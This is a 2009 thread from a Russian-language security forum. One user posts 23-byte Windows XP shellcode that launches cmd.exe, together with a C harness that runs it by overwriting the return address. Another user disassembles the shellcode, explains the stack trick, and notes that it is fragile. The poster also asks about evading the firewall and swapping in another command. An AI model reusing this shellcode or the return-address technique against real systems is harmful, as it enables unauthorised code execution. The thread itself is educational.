ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Странный shell
  #1  
Старый 08.12.2009, 00:22
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию Странный shell

Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
Цитата:
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
Я откомпилировал, но не могу понять, что он делает.
Код:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
                        "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?

Последний раз редактировалось =Zeus=; 08.12.2009 в 00:26..
 
Ответить с цитированием

  #2  
Старый 08.12.2009, 00:52
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Код:
 "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
это асм команды:
Код:
mov         ebp,esp 
push        20657865h // 
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] 
push        eax  
mov         eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call        eax   // вызвать функцию
такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
Другой язык или/и другая версия винды и будет провал.

Последний раз редактировалось slesh; 08.12.2009 в 00:55..
 
Ответить с цитированием

  #3  
Старый 08.12.2009, 00:58
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

А как тогда передать параметры в WinExec()?
Фаервол все равно спалит вызов?
 
Ответить с цитированием

  #4  
Старый 08.12.2009, 01:01
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

При этом комбинация
Код:
int *ret;
ret=(int *)&ret+2; //  ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод
т.е. это пример вызова этого кода через срыв стека.

Передача параметров идет так:
Код:
mov         ebp,esp // запомним адрес вершины стека
// поместим в стек 
push        20657865h //
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push        eax  // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe

Причем тут фаер?

Последний раз редактировалось slesh; 08.12.2009 в 01:10..
 
Ответить с цитированием

  #5  
Старый 08.12.2009, 01:13
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме:
724939

Репутация: 108
Отправить сообщение для =Zeus= с помощью ICQ
По умолчанию

1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
2. Ну например на Делфи если написать
Цитата:
WinExec('cmd.exe', sw_show);
то фаер спалит запрос. А тут?

Код:
push        2E646D63h // это типа cmd.exe
А сюда писать то, что мне нужно вызвать?

Последний раз редактировалось =Zeus=; 08.12.2009 в 01:26..
 
Ответить с цитированием

  #6  
Старый 08.12.2009, 01:38
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Это ASM) Самый сложный ЯП.
 
Ответить с цитированием

  #7  
Старый 08.12.2009, 04:53
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

Цитата:
Сообщение от mailbrush  
Это ASM) Самый сложный ЯП.
не сложнее остальных
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ